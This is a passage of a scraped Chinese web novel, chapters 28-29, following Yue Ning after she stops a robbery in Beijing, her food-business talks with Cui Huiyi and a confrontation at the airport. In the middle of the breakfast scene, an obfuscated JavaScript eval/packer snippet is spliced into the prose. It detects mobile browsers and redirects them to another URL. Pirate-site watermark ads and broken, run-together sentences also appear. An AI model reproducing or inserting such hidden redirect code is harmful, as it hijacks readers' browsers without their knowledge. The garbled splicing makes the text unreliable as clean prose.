一辆警车鸣着警笛开了进来，车门打开，**同志把那人塞进车里，岳宁和乔君贤也跟着上了车。 第 28 章 想要摆阔 第28章第28章 【想要摆阔】 岳宁和乔君贤一同走进**局做笔录。起初,大家都认真听着，直到**同志听到她背诵文言文，不禁愣住,问道：“你为什么要背这个？” “他说自己是知青,下乡去了内蒙,和我去的地方差不多，经历相似容易产生共情。我也知道很多知青回城后成了待岗青年，生活艰难。但即便生活再困难,也不能**啊！我怕自己一时心软放他走，就想岔开话题。那条路晚上怪阴森的，我心里也直发毛，就背《狼》。这篇文章讲的是屠夫在太阳下山后赶路,遇到狼,最后杀了狼的故事。我告诉自己，我杀猪杀羊,就是个屠夫，也杀过狼。” “你是屠夫？杀过狼？”**同志再次抬头看向她，这么个高高瘦瘦的小姑娘竟是屠夫？转念一想,她一拳头就把那人的一颗下牙给打掉了,还真有可能。 岳宁连连点头：“我在西北的时候，经常做屠宰工作，也遇到过来偷羊的狼群，都是饿极了的狼。我要是等村里人赶来，羊都能被咬死好几只了,那可是集体资产,不能有损失，只能自己冲出去……” 岳宁撸起袖管,小臂上有一条疤痕：“这就是被狼抓伤的。” 乔君贤探过头来看，那是一条有手掌那么长的扭曲疤痕，别说是当时，就是现在看，他都替她疼。 原本这事与案情无关，**同志本可以阻止她说下去，但看着她的这道伤疤，听她讲述一人一狗从四条狼嘴里抢羊，最终等到其他人赶来，**同志说道：“很勇敢。” “谢谢！” **同志见她一脸骄傲的表情，忍不住笑了。 他们的口供很简单，没一会儿就录完了。两人一起走出小房间，外面，两位爷爷在几个人的陪同下，坐在长椅上。 “孩子们出来了。”乔启明说。 岳宝华看到孙女，站起身想要走过去，身体晃了一下，还是乔启明扶了他一把：“宝华，早跟你说了，孩子没事。” 两人在宾馆等他们，等了许久不见人回来，心里焦急万分。直到商委的人赶到宾馆接他们，说两个孩子进了**局。 乔启明经历过大风大浪，还算镇定，岳宝华可就只剩这么一个命根子，刚听了个开头，就吓得不轻。 岳宁连忙跑过来，牵住爷爷的手。爷爷的手冰冰凉， 手心里全是汗，身体还在发抖。她抱住爷爷：“爷爷，没事，刚才**同志还夸我勇敢呢！ “是的，小同志很勇敢。 “走吧！我们先回宾馆。乔启明拍着岳宝华的肩膀。 岳宝华见到了孩子，浑身才有了些暖意，整个人仿佛也活了过来。 岳宁扶着爷爷一起出了门，上了七机部的车。 七机部陪着过来的同志说：“小岳，今天可多亏了你啊！要不然，后果不堪设想。 乔启明也说：“宁宁，你刚才执意要送你莫伯伯和伯母，是担心他们会遇到这种事吧？ “其实，我觉得是自己想多了，毕竟这里是首都，还是在长安街附近，皇城根儿呢。不过回过头看，幸亏想多了。岳宁说。 “宁宁是怎么会有这样的直觉？乔启明问。 “您知道知青下乡是什么原因吗？ 乔启明当然知道，毕竟他的亲哥哥就有好几个人下乡了。只是商委的人在，这件事已经过去了，何苦再去揭开伤疤呢？ 岳宁也没打算让乔启明回答，自己接着说道：“其中一个原因是中国是传统农业国，连年战争阻碍了工业发展，城市无法提供足够的岗位，下乡从某种程度上可以减轻这方面的压力。但这也造成了很大的问题，1976年之后逐渐停止了下乡，大量知青返城，会带来什么问题呢？ 乔君贤说：“会导致城市有大量无工作、无收入的人，他们拉帮结派，造成社会不稳定。港城在大陆人和越南**量涌入后，也有这些问题。 “陈主任在火车上也嘱咐过，一定要看管好自己的财物，还让乔君贤别把照相机拿出来。陈主任不是说现在北京有四十万待业青年吗？待业青年的工作问题解决不了，就是个**烦。下乡已经停止，城市容纳不了那么多人口。火车上有扒手，火车站也会有人被抢。我担心伯伯和大妈妈两人都是连杀鸡都不敢的知识分子，而且伯伯腿脚还不好，要是遇到这种事，跑都没法跑，所以想送送他们，看着他们安全到招待所，我也就安心了。 乔启明深吸一口气，这是怎样的一个孩子啊？陈主任的一段话，就能让她做出这样的判断。 “那个**的，肯定之前就看到你们了，你们四个人，他没敢动手。要是莫教授和庄教授两个人，他可能就下手了。七机部的同志想想都后怕，“幸 亏小岳机敏，让你们遇到这种事，实在是我们工作没做到位。” “别这么说，要是样样都完美了，大家都抢着来投资了，也不差我们这点了。”乔启明说。 岳宁附和道：“乔先生这是迎难而上，方显英雄本色。” 她转向乔君贤：“乔君贤，你要是真在鹏城开了工厂，到时候遇到这种被抢被偷事情的可能性也很大，你怕不怕？” 上辈子她小时候，粤城街头还有骑着摩托车**的。后来经济越来越好，治安也越来越好，大家都快忘记曾经街头**是家常便饭了。 “要不你跟我一起去？这样我遇到这种事，就派你出去背文言文，把小偷吓得全部尿裤子。”乔君贤这么一说，其他人都听不懂了。 他笑着把岳宁录口供时的一段经历说了出来，瞬间全车的气氛就变了，大家笑得前仰后合。岳宁无辜地说：“我也没想到这人会怕成这样，我背的又不是《画皮》。” “关键不在于你背《狼》还是《画皮》，文言文有几个人能听得懂？关键是你在那样的情景下背文言文啊！”乔君贤代入那个**的角色，想想都毛骨悚然。 岳宁嘿嘿嘿地坏笑起来：“这下我知道了，你听不懂文言文。” 乔君贤不想再跟她说话。这时，司机师傅“哎呦”一声：“我听小岳说话，没看路口，开过了。” 七机部的同志说：“没事，没事！绕一圈就行。” 车子绕了一个圈子，开进了宾馆。 两对祖孙下车，跟七机部的同志道别。岳宁说：“同志啊！这事儿别告诉我伯伯和大妈妈，免得他们心里有负担。不过呢，要给这些专家宣传一下，他们在专业领域是专家，但在日常生活方面，未必有那么强的危机意识。” 这种混乱的局面还会持续很长时间，不然也不会有1983年的严打。情况好转要到新世纪之后了。 “我们会回去汇报的，一定做好安全工作。” 岳宁看着车离开，身边的乔启明长长舒了一口气：“多亏了宁宁细心，能抽丝剥茧，理出这么多信息。要是宝如和维文出了什么事，是我叫他们来的，那可……” “乔先生，没事了不就好了？”岳宁说。 乔启明看着她：“宁宁，我和你爷爷是多年好友，维文夫妇又把你当成女儿看待，你怎么还叫我乔先生？” 这才认识他两天，要是叫得太亲近，难免有 攀附之嫌。不过有莫伯伯这层关系，也没什么。岳宁叫了声：“乔爷爷。 “乖！ 一起走进电梯，他们楼层不同。岳宁和岳宝华的楼层到了，祖孙俩出了电梯。 电梯里，乔君贤跟乔启明说：“爷爷，您不知道刚才啊！我还正奇怪，岳宁为什么说我傻，她就这么不着痕迹地跟我换了个位置，挡住了那个人的袭击，太厉害了。 乔启明笑着出了电梯：“这孩子确实聪明。 乔君贤听爷爷这么说，兴奋地想跟爷爷详细讲讲：“还有啊！ 乔启明看了孙子一眼，拿出钥匙，打断了他的话：“凌晨两点多了。这样一个有胆有谋的女孩子，可不会喜欢上一个为了点小事就睡不着的男孩子。 乔君贤像是心思被戳穿，一时间有些尴尬，说：“爷爷，晚安。 “晚安！ * 岳宁被门铃声吵醒，她摸了摸床头的钟，一看才早上八点。她昨夜凌晨三点才睡，好不好？ 她打着哈欠去开门，见门口站着崔慧仪，瞬间一个激灵，立刻清醒了。她原本说要跟崔慧仪秉烛夜谈，后来又说今早一起吃早饭，自己连着爽约，姐姐这是找上门来了吧？ “姐姐你等一下，我去洗把脸。 岳宁转身去洗脸，崔慧仪走了进来。岳宁在卫生间洗漱：“姐，你坐。 崔慧仪在沙发上坐下，岳宁刷完牙，擦着脸出来：“抱歉，昨天晚上送我伯伯和伯母回招待所，遇到了**。 “**？没事吧？ “没事，把那家伙送警察局了，就是耽搁了些时间，三点才睡。 “那我不是吵醒你了？ “还好啦！我等下在飞机上睡一会儿就行。岳宁说着走进卫生间。 “昨晚我想了一下，我特聘你为我们公司的产品顾问。给你产品开发保底一个产品一万港币，授权分成，每卖出一包，给你一分钱，怎么样？ “哇！那我还没去港城就有钱了？ “我就怕你不收。君贤说你给他出主意，只让他送你一个收音机。 岳宁进卫生间换衣服，声音从里面传来：“你和乔君贤不一样。乔君贤是我帮他出个主意，那是跨行业，而且是一次性的，说到底只是朋友之间探讨商业机会。但你这个不一样，咱们是相关行业，未来是要深度合作的。既然有长期合作的打算，那一开始就该分配好利益。再 说立德食品厂又不是你一个人的，我跟你投缘，有朋友之情，可我跟你爸、你姐之间没这么深的情分。我没必要给你们白干活，对吧？” 崔慧仪开心地应道：“可惜你还没回港城，我真想立马带你去趟日本，去尝尝日本的拉面。昨天你那个高汤粉，真的太有那种味道了。” “真的？”其实不用带她去日本，她都知道日本拉面是什么味儿。 上辈子宁烧腊在日本的第一家店就在东京池袋，那也是宁烧腊全球销售最好的门店之一。这得益于她把鳗鱼饭、牛肉饭、拉面这些日式快餐以及传统小饭馆的菜品吃了个遍，然后进行调整，使其更符合日本人的口味。 “真的，真的。”崔慧仪说，“现在日本经济好得如烈火烹油，谁都想赚日本人的钱。你去巴黎、米兰看看，那些高档品牌店、高档餐厅里都是叽里呱啦讲着日语的人。大部分高级商店都配备了日语翻译……” 岳宁穿好了衣服，梳着头发。头发干枯**躁，一时半会儿养不回来，真麻烦。 外面崔慧仪还在说着日本的情况。看着镜子里的自己，岳宁暗暗骂自己，想什么头发呢？脑子僵化了，为什么执着于宁烧腊，为什么一定要复刻上辈子的成功之路？ 宁烧腊能够成功，除了自己的努力，还有一部分原因是新世纪之后中国经济腾飞，中国人成了世界的“购物狂”，到处买买买，老外也在潜移默化中接受了中国的饮食文化。而现在日本即将迎来最辉煌的八十年代。 日本拉面尤其是九州豚骨拉面，以其鲜美浓郁的汤头最容易俘获人心。豚骨拉面的代表博多拉面的风味，咸中带着淡淡的猪骚味，让很多外来人员难以接受。如果这个时候，她和崔慧仪一起打造一个改良的日式拉面品牌，应该能赚翻吧？ 岳宁走出去：“那有什么，等我去了港城，找机会去日本，差一两个月，也没什么。” 崔慧仪觉得岳宁接受新事物的速度极快。她站起来：“走吧！我陪你一起去餐厅。” 两人走进电梯，岳宁看着电梯金色轿厢壁上她们俩的模样，崔慧仪的短发可真好看，她很是羡慕。 “怎么了？”崔慧仪察觉到她的目光。 “姐姐的短发好好看，我也想要。” “我是为了打理方便。要说好看，还是港城现在流行的烫发好看。” “像二太那样的？”岳宁问。 “对 她那种现在最流行了。” “那一头蓬松的头发？我在厨房做事那得吸多少油啊？再说那样蓬松的头发也得配漂亮的衣裙吧？穿着那样的衣裙还怎么做事？”岳宁继续盯着崔慧仪“还是你的头发好看。” “回港城我带你去剪。” “好。” 两人走进餐厅岳宁看到崔老板和崔二太在吃早餐便和崔慧仪一起走了过去。 “爸、婉姨早！” “崔世伯、二太早！” 两人回应了她们。崔老板放下筷子说：“坐这儿一起吃？” 崔二太站起来拉开椅子：“宁宁坐。” “不了我是陪宁宁来吃早餐顺便单独聊聊未来的发展方向。”崔慧仪对岳宁说“宁宁我们去窗边。” “崔世伯、二太失陪！” 崔慧仪带着岳宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912450|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开崔二太讪讪地坐下朝岳宁的方向望去。 岳宁接过菜单从前往后看。崔慧仪用粤语说：“三明治、汉堡这些可千万别吃那个面包全是碎屑很干。这里真没什么好吃的就连黄小米粥都……” 岳宁见菜单上居然还有炒肝便抬头说：“一份炒肝一份包子。” 崔慧仪要了一杯红茶。 岳宁又察觉到那个二太在看她脸上露出不耐烦的神情。 “宁宁你怎么了？” “你们家那个二太她的眼神实在让人不舒服。她要是真想打量那就大大方方地看偏偏总是偷偷摸摸地看。”岳宁从鼻孔里哼了一声“说不出的感觉。” 崔慧仪转头看过去正好对上那个二太 小说的域名ｃａixs?(请来才 小说 看最新章节 完整章节)白了她一眼又转回来：“她看到我和你在一起心里窝火呢！在她心里崔家的家业不管是我爸的崔记还是我外公的立德都该归她儿子。” “这样啊？那你爸是什么想法？” “她这是想多了。我爸最多把他自己的崔记给儿子不至于连我外公的产业都给他儿子。立德早就说好了最后是我们姐妹俩的。再说我爸在外面还有两个女人另外两个没她这么好运气一个没生过孩子一个生了个女儿。可人家年轻啊！谁知道还会不会有儿子？” 服务员端来一盘包子岳宁看到包子脸上立刻洋溢出笑容：“透油包子看着就喜欢。” 这包子小巧玲珑底部透着油光透过包子皮就能隐约看到里面的汤汁。岳宁夹起一个包子一口塞进嘴里 大小刚刚好。难得在这样的涉外宾馆里吃到这么好吃的包子。 岳宁竖起大拇指：“姐姐，你要尝尝吗？这包子味道很棒。” 岳宁招手叫来服务员，给崔慧仪要了一双筷子。崔慧仪将信将疑，夹起一个吃了一口。对她这个南方人来说，味道稍微重了些，但不难吃，尤其是那股葱花混合着油润的香气。 炒肝也端上来了，岳宁闻着那股蒜香中带着脏器特有的味道，说：“味道太正宗了。” 岳宁端起碗，吸溜了一口。服务员还没走，像是在等她评价。岳宁放下碗：“汤浓稠，肠多肝少，肥肠软烂却有嚼劲，肝尖鲜嫩，恰到好处。” 岳宁又拿了一个小包子，蘸了蘸炒肝浓稠的汤汁，塞进嘴里。崔慧仪见状，仰头对服务员说：“服务员，我也要一份炒肝……再要一份包子。” “姐……” 岳宁刚想说什么，服务员兴奋地说：“我们这儿的大师傅做北京菜可正宗了。” 算了！等慧仪姐尝过再说。 崔慧仪看着那桌的父亲，说：“宁宁，昨天你炒的那个酱料味道太棒了。立德是我外公的产业，我爸当年靠做调味品起家，崔记在港城生意还算不错，不过酱料这块跟另一家调料厂相比，销量稍差些。昨天你们走了之后，他跟我商量，想请你和你爷爷帮忙，一起改良一下崔记的沙茶酱、叉烧酱和柱侯酱这几款酱料的味道。” 岳宁扫了一眼已经吃完早饭、准备离开的崔老板和那位二太，说：“我主动帮你，是因为立德，因为你和你外公。至于你爸，我对我亲妈的评价，你还记得吧？” 崔慧仪望着岳宁，沉默片刻。岳宁接着说道：“这段时间接触下来，能感觉到崔世伯是个把利益放在首位的人。你们父女俩矛盾不断，根源就在于价值观不一样，你看重情义，他看重利益。你和他有着血缘关系，没法轻易切割，但我和他没有关联，也就没必要和他合作。” 在亲情关系里，子女面对这样的父母，想要切割关系谈何容易，陷入内耗也是常事。岳宁上辈子就在类似的亲情困境中挣扎许久，她深知，崔慧仪要走出这种状态，只能靠自己。 崔慧仪长舒一口气，说：“他让我来问，我问了，也就算有个交代了。” 岳宁轻点下头，应道：“嗯。” 崔慧仪突然想起一事，问道：“宁宁，你知道你爷爷的宝华楼出问题了吗？港城 的几家电视台和报纸都在报道，宝华楼现在已经关门了。” “知道，我让爷爷先把店关了。眼下我们俩都不在，阿松叔应付不来，处理不好只会让麻烦更大。” “也是，你的厨艺都快赶上你爷爷了，这估计是很多人都没想到的。” 岳宁记得，上辈子港城的那些富豪公子小姐，一举一动都被报纸追着报道，话题热度丝毫不输流量明星。她心里突然冒出个想法…… “姐，昨天我不是问过你港城报纸电视台的事嘛。港城的媒体除了像内地那样报道国家大事、生产情况，我听乔君贤说还有别的内容，那些内容占比如何？” “国家大事谁爱看呀？与其关注英国选了哪个首相，大家更乐意看英国王储的感情八卦。港城报纸报道最多的，就是电影电视明星和富豪的花边新闻，就拿乔君贤他大哥来说……” 崔慧仪绘声绘色地描述着港城报纸杂志的夸张劲儿，岳宁脑海中瞬间浮现出上辈子那些耸人听闻的标题，像“人造人造人”“大波压红馆”之类的，画面感十足。 “那就行。” “你打算做什么？” “等我回港城，你帮我组个局，找一群能开……”岳宁望向窗外，一辆小轿车驶过，“能开这种小轿车的富家公子小姐，来我这儿吃饭。到时候，宝华楼门口停满一排豪车，越气派越好，让他们来宝华楼，专门吃我做的菜。” 崔慧仪瞧着外头那辆日本皇冠轿车，忍不住笑道：“妹妹，在港城，这种车是出租车，有钱人可不会开这种车。” “出租车？”岳宁佯装一脸疑惑。 这地方平时少见出租车，崔慧仪一时间还真不知该如何给她解释清楚，只好说：“就是普通人买的平价车，港城富家公子小姐开的车，动辄上百万，甚至好几百万。” 岳宁惊讶地张大嘴巴：“啊？” 这时，乔君贤走了过来，问道：“你们在聊什么呢？” 崔慧仪指着刚坐下的乔君贤，对岳宁说：“你问问他，他开什么车？他哥又开什么车？” “我哥开马田，我开波子。怎么了？”乔君贤问。 岳宁一下子反应不过来，别看世界差不多，实际上还是有差异的吗？马田、波子是什么玩意儿？ 好可惜，自己最爱的那辆车，那个品牌，不会在这个世界不存在了吧？岳宁暗自伤感。 第 29 章 到粤城 第29章第29章 【到粤城】 乔君贤问她：“你问这个做什么呀？” “制造话题啊！在港城,最能引发话题的，可不就是你们这些富家少爷小姐嘛。我爸说当年福运楼兴旺的时候，福运楼前面那条马路上,一溜儿停满了小轿车。那些富家公子带着当红名伶、明星和舞女去福运楼吃饭,报纸上关于这些公子哥儿的新闻,好多都和福运楼有关。我就琢磨着，要是你们的豪车把宝华楼门口的马路堵得水泄不通，那不也能给宝华楼带来话题热度吗？”岳宁说道。 “岳宁,你还没去港城呢，就已经想到这一层了？”崔慧仪惊讶地说。 “这么做可行吗？”岳宁问道。 乔君贤回答：“可以。” “要论话题度最高，得找蔡致远，就是君贤蔡家的表哥。他执掌着港城最大的电视台,还主持港姐选拔,本身又是个花花公子，今天跟这个女明星,明天跟那个女明星，最近正和吕明明打得火热呢。”崔慧仪给岳宁推荐道，这时炒肝端了上来,她拿起勺子舀了一口放进嘴里,差点一口吐出来。 岳宁看着她的表情，笑道：“吃不惯吧？” 崔慧仪努力咽下，说道：“有股腥味，而且这蒜没爆香，是生的,颗粒还大,又加了那么多酱油。这……他们就不能学学咱们南方的小肠汤，把肠子收拾得干干净净的吗？” 崔慧仪这么一说,倒让岳宁想起上辈子的一个故事。有个少年参加厨师大赛做九转大肠，故意留着屎，还说是保留大肠原本的味道，这个喂评委吃屎的片段在网络上广为流传。现实中确实有人追求食物原本的味道，不过可不是用这种极端方法。 “吃不惯就别勉强了。不过你说的这个腥味，不是他们肠子没收拾干净，实际上是刻意保留的，要的就是这个效果。但这腥味回味起来，还带着点香气。这腥味是因为肠子外面包裹着的油，熬猪油时，这猪油就带着内脏的一点点腥味，所以它不是纯粹的腥，而是一种独特风味。它的蒜香也很有层次，分了几批次放蒜，蒜粒的成熟度不同，口感也不一样，还有……” 岳宁这么一解释，乔君贤问崔慧仪：“慧仪姐，我尝尝？” 崔慧仪示意他随意，乔君贤拿了个勺子，从崔慧仪的碗里舀了一勺吃进嘴里。尝过之后，他说：“慧仪 姐别浪费了你不吃我吃我用小米粥跟你换。” 崔慧仪护住碗：“谁说我不吃了？想吃自己点去。” 乔君贤已经点了小米粥、包子再加一份炒肝儿他也吃不下了只能作罢。 崔慧仪又尝了一口仔细品味这个味道。听岳宁这么一分析初尝是腥味细品之下确实如岳宁所说会有一股香气且层次丰富。 岳宁说：“要是不习惯就别勉强反正你以后常来多吃几次习惯了就会喜欢上的。” 崔慧仪说：“我能吃。就像日本的博多拉面进店就是一股臭味又咸又腥 太好了崔慧仪也想到了博多拉面这样他们再谈这个生意就容易多了。 岳宁说：“俗话说北京菜没好食单靠穷讲究。意思是北京物产不算丰富但做法上特别讲究就拿这下水来说自成一派炒肝儿、爆肚儿、羊散丹、卤煮都各有特色。不过作为一家以外宾住客为主的涉外酒店就该考虑客人的接受度而不是一味追求正宗。不用猪肠上剥下来的水油改用普通猪油接受度会更好。” “有道理。所以我们把豚骨拉面的浓汤保留去掉这些特殊风味。这样的速食面不仅能打入日本市场也能适应其他市场。”崔慧仪说。 “嗯。”岳宁点头心里却有些无奈减掉这些风味对有些美食而言就如同三魂七魄少了一魂一魄。 “不说这些了还是说说该请谁过来。”崔慧仪回到原来的话题。 乔君贤的早餐送来了他边吃边说：“我请我表哥让他带两个女明星来。” “我叫上赵熙如让她带上刘家耀就是那个当红炸子鸡。”崔慧仪说。 “当红炸子鸡？” 岳宁没想到这个年代就有这个说法了露出惊讶的表情。 崔慧仪以为她不理解解释道：“就是最近特别走红的一个男明星长得特别帅演了好几部武侠片唱歌也不错现在打开电视和电台到处都是他的歌。赵熙如家是做服装代理的她自己在米兰学时装设计现在回港城开了工作室给刘家耀做时尚指导。” 想起上辈子的娱乐圈小鲜肉岳宁来了兴致：“怎么个帅法？” 崔慧仪都顾不上吃东西了一心想跟岳宁描述那个男明星有多帅气。 岳宁听得 入神，想想上辈子港城八十年代那神仙打架的娱乐圈，内娱那些小鲜肉根本没法比。她这么一联想，兴致顿时高涨，问道：“真的啊！ “到时候你见了就知道了。崔慧仪觉得遇到了知音。 “言过其实了，没什么好看的。乔君贤插话道。 崔慧仪转头看向乔君贤：“知道你好看，可你不是那种只可远观不可亵玩的吗？ 岳宁听了直冒汗，心想难道别人就能亵玩了？她赶忙纠正崔慧仪：“姐姐，亵玩可不好，美好的人和物又不是独一无二的，好看的、赏心悦目的人，当然是多多益善。我可以欣赏乔君贤的美貌，也不妨碍我欣赏其他人的美，对吧！ 乔君贤放下勺子，站起身来：“我吃饱了，你们慢慢吃。 说走就走？岳宁看着他碗里还剩下的小半碗黄米粥，他们家不是有不浪费粮食的规矩吗？ 岳宁吃过早饭，放心不下，乘电梯直接上了乔君贤住的楼层。她去过乔启明的房间，却不知道乔君贤住在哪一间，要不一会儿碰到他再问？ 刚转身，就碰见乔君贤从走廊过来。乔君贤见到她，微微一愣：“你找我爷爷？ “不是，我找你。 “找我？ 岳宁点点头：“对啊！你今天早餐都没吃完，是不是不舒服？ “啊……对，我有点偏头疼，胃口还没恢复。乔君贤笑了，那笑容如同扯开乌云的太阳，格外耀眼。 岳宁顿时觉得他有点傻：“偏头痛还笑得这么开心？ “不疼了，没事了。 “没吃饱，会不会饿？岳宁问。 “没事，等会儿在飞机上吃点就行。 这下岳宁放心了：“那就好，我去楼下整理行李了。等会儿就要走了。 “等等。他从口袋里拿出一个白色小药袋，“给你。 “这是什么？岳宁接过。 乔君贤说：“我去开偏头疼药，顺便给你要了两颗晕车药，等会儿到机场，上飞机前半个小时吃。 他真细心，还想着给她拿药。 “谢了。岳宁拿着药下楼去了。 乔君贤看着她消失的方向，耸耸肩，掏出钥匙打开房门。 * 岳宁整理好行李，下午一点的飞机，十一点从这里出发。 到了楼下大厅，除了乔家祖孙、乔启明随行的两人，崔老板和崔二太也在等车，崔慧仪要过两天再走。 送崔老板和崔二太的是食品厂的刘主任。他看见岳宁在大厅，捧着一个小酒坛子走过来：“小岳，还真让我赶上了，老张让我送一坛酱给你。” 岳宁接过坛子：“哎呦！这多不好意思呀。” “被你那么一夸，他高兴坏了。谢厂长也夸他了，说港商要是决定投资，他的豆酱有功劳。”刘主任说。 岳宁点头：“那是，那是！刘主任，替我谢谢张师傅。” “谢厂长也让我谢谢你！” “应该的，应该的。” 刘主任带着崔家夫妇上了车，岳宁也等到了七机部的车。 乔启明转头对岳宝华说：“宝华，我已经让人把资料送到宾馆了。等会儿咱们落地，把宁宁去港城的表格填了，我让人先去把手续办了，过几天宁宁就能去港城了。” “乔老板，这……” 小说更新，记住域名ｃａｉxs?(请来才 小说 看最新章节 完整章节) 去港城投靠亲属，虽说不算困难，但总归有程序要走，最少也得个把月。 “这什么这？宁宁是你岳宝华的孙女，也是维文和宝如的囡囡，我又不只是在帮你。”乔启明说，“我和君贤的大姨夫，一家给国内造船厂下了一条六万吨的散货船订单。国外远洋轮现在都已经三四十万吨了，国内造这六万吨的船，还有不少困难。宝如是这两条船的总设计师，维文是电子仪表这块的设计人员。我这么做，是让他们俩安心工作。” “谢谢乔爷爷！”岳宁也不客气了，普通人办这些事只能干等着，像乔启明这样有能力的，就是一句话的事儿。 车子到了机场，岳宁去休息室坐下，正要去倒杯水，准备登机前吃药，面前突然放了一罐可乐：“给你。” 岳宁抬头看向乔君贤，乔君贤说：“这东西在港城街边小店到处都是，不过这里只有涉外宾馆和涉外商店才有。” “谢谢啊！”岳宁终于能亲手打开易拉罐了，“啪”的一声，感觉真好。 乔君贤也打开可乐，在她身边坐下。岳宁跟他说：“你有偏头疼，尽量别喝这个，会刺激诱发偏头疼。回港城以后，我给你炖养生汤吧。不过喝汤只是辅助，这种情况还是要靠自己多注意，像柑橘类、茶类、咖啡之类的，都要少吃。” 在高端餐饮行业，顾客大多是富豪，他们注重养生，岳宁对一些常见病的饮食忌讳十分清楚。 乔君贤看着手里的可乐，喝也不是，不喝也不是。他最终说：“我们家不能浪费食物， 我还是喝了。” “行，以后少喝。” “知道了。” “宁宁。”崔老板也走到她身边坐下。 岳宁转过头：“崔世伯。” “慧仪跟你说过了吧？我想请你们祖孙帮忙改良崔记的酱料。”崔老板觉得女儿对他一直有意见，所以让女儿去跟岳宁说，女儿肯定没好好传达，既然如此，他就亲自来问，本以为十拿九稳，没想到岳宁一口拒绝。 “世伯，我在西北长大，连港城的土地都还没踏上，哪知道什么口味适合港城人呀？” 崔老板今早问女儿有没有跟岳宁提这事儿，女儿说岳宁没兴趣。他觉得是女儿跟他赌气，不顾全大局，决定亲自来问，却没想到岳宁拒绝得这么干脆。 岳宝华不明白孙女为什么对崔慧仪那么热情，到了崔老板这儿却婉拒了。不过拒绝就拒绝吧，酱料配方本就是厨子的不传之秘，像他这样尽心教给徒弟的都不多，更何况是提供给别人用于商业用途。 崔老板想了想说：“费用方面，比照立德的条件。要是你有其他想法，也尽管提出来。” “崔世伯，赚钱眼下不是我的重点。我还是想把心思放在读书上。”岳宁再次拒绝。 崔老板笑着说：“不会耽搁你太多时间，一样一样慢慢来？” “不了。”岳宁这次拒绝得很坚决。 岳宝华见孙女不愿意，便开口道：“是啊！她爸爸希望她能读大学，她已经准备了好几年，原本今年要考大学的，现在跟着我回港城，要重新学习。她莫伯伯昨天也再三叮嘱，让她好好读书。崔老板，实在不好意思。” 乔启明跟两位下属聊了几句，转过头说：“好好读书，我让君贤来问你学习情况，每个月给他小姨小姨夫汇报。” 岳宁眉眼含笑：“知道了。” 乔启明都这么说了，崔老板自然不再勉强。 还有四十分钟就要登机了，岳宁站起来走出贵宾室去卫生间。 出来洗手时，从镜子里看到了崔二太。 岳宁装作没看见，洗完手，拿起台盆上的擦手巾擦手。首都机场的一些软配置，甚至超过了上辈子的机场。 镜子里的二太继续盯着她看，欲言又止。岳宁把擦手巾扔进托盘，转身要走，二太叫了一声：“宁宁。” 岳宁回头：“崔二太，有事吗？” “我们到旁边站会儿，我想跟你说几句话。” “不了 ，我晕机，得过去吃颗药，马上就要上飞机了。” 岳宁转身要走，胳膊却被二太拉住，“宁宁，给我个机会。” 崔二太脸上浮现出淡淡的哀伤：“宁宁，你肯定和我一样，见面的那一刻，就知道我是谁了，对吧？” 岳宁直视着她，淡笑着问：“你是谁？” 崔二太偏过头，避开她的目光：“我……” “你是崔二太，一位港商的二奶。”岳宁笑意更浓了，“对吧？” “宁宁，你没必要这么讽刺我。”她拿出手帕捂住眼睛，“我不想解释当**，我知道我对不起你。见到你，我就想尽力补偿你，没别的意思。” “不需要。”岳宁斩钉截铁地回答，往外走去。 可二太似乎不打算放弃，追了上来：“宁宁，你爷爷的宝华楼，情况不太好。昨天宝华楼因为卫生问题，上了港城的电视新闻，现在宝华楼都关门了。要是你遇到什么事，记住，在港城你还有我，好吗？我会尽力帮你的。” 岳宁冷笑一声：“还没请教你尊姓大名呢？” 二太一脸疑惑：“你……” “说吧，你叫什么？”岳宁问道。 她不回答，岳宁冷笑一声：“崔俞婉媚？和董晓梅有什么关系？更何况，董晓梅和我又有什么关系？” 岳宁再次向前走去。 俞婉媚的声音从背后传来：“你看不起我？你以为你比我高贵吗？你不过是比我幸运，有机会接触乔家这样的顶层人家，能结识乔君贤这样年纪相仿的未婚公子罢了。” 这女人脑子里都在想 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“好！”岳宁嘴角浮起一个笑容“世伯我先走了你们慢慢聊。” 岳宁调整好心情转身离开。崔家昌和俞婉媚是一类人在利益和感情之间他们都有自己的权衡取舍更何况崔家昌的女人不止俞婉媚一个。 俞婉媚一瘸一拐地走向崔家昌崔家昌咬牙说：“厨子的女儿？家里重男轻女？逼你嫁人生了女儿婆婆溺**女儿你只能逃走？哪一句是真的？甚至连你的名字都是假的？” “家昌……我……” “我跟岳宝华认识二十来年了他老婆早就没了哪来的婆婆？他是什么品性我还不清楚？岳宝华的手艺在港城的厨子中能排进前五岳宁做一碗鸡饭、调一口酱料已然到了随心所欲、不拘泥于形式的境界。她才多大年纪能教出这样一个女儿的岳志荣得有多大能耐？”崔家昌冷笑一声“你总是吃着碗里看着锅里贪心不足蛇吞象。” 崔家昌转身向前走去不再理会身后跟着的俞婉媚。走了一段路快到贵宾室时他停下来等俞婉媚。俞婉媚走到他身边崔家昌说道：“你别再给我惹麻烦我可不想因为你招来麻烦。” “家昌我是想帮你她是……” “她跟你没关系别跟我说你以前叫什么。我不想知道。” 两人走到贵宾室门口此时他们一行人已经拿起随身行李。岳宁满脸灿烂地招手喊道：“世伯、二太登机了。” 崔家昌笑着回应：“好马上来！” 上了飞机起初崔家昌夫妇和他们坐在同一排。坐了十来分钟崔家昌找来空乘人员带着他的二太换了座位挪到了后面。 这架从北京飞往粤城的飞机中途在上海降落停留两个小时后再次起飞。飞机落地后崔家昌说要带二太去医院看脚众人在机场道别。 车子抵达宾馆时差不多已经晚上九点了。走进大堂就看见罗国强父子坐在那里。他们看到一行人进来父子俩 立刻站了起来。 罗国强兴奋地一溜小跑过来：“宁宁，我回来后，这两天用了你教的方法做拆鱼羹，不仅操作更方便了，客人还说香气比以前更浓郁了。” “国强，就知道说做菜。跟你岳爷爷打招呼都忘了。” 罗国强有些不好意思地叫了一声：“岳爷爷。” 